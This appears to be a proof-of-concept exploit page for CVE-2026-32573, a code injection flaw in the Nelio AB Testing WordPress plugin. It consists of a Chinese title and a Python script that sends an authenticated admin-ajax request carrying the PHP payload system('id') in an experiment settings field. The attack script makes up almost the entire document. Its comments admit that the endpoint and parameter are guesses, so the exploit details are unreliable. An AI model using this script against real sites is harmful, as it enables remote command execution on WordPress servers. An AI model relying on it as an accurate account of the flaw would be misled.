CVE-2026-32573 Nelio AB Testing代码注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-32573 (Nelio AB Testing Code Injection) This script demonstrates how a high-privileged user can trigger code injection. Note: Authentication cookies are required (PR:H). """ import requests import sys def exploit(target_url, admin_cookie): # Target endpoint (example based on common WP plugin structure) url = f"{target_url}/wp-admin/admin-ajax.php" # Headers headers = { "User-Agent": "Mozilla/5.0 (PoC Scanner)", "Cookie": f"wordpress_logged_in_{admin_cookie}" } # Malicious payload to inject system command (e.g., `id`) # The specific parameter depends on the vulnerable action in the plugin payload_data = { "action": "nelio_ab_testing_save_experiment", "experiment[id]": "1", # Injection point: passing code where config is expected "experiment[settings][alternative]": "system('id'); //" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for command execution output or server behavior changes.") print(response.text[:500]) # Print snippet of response else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print("Example: python poc.py http://localhost/wp wp_session_hash...") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit(target, cookie)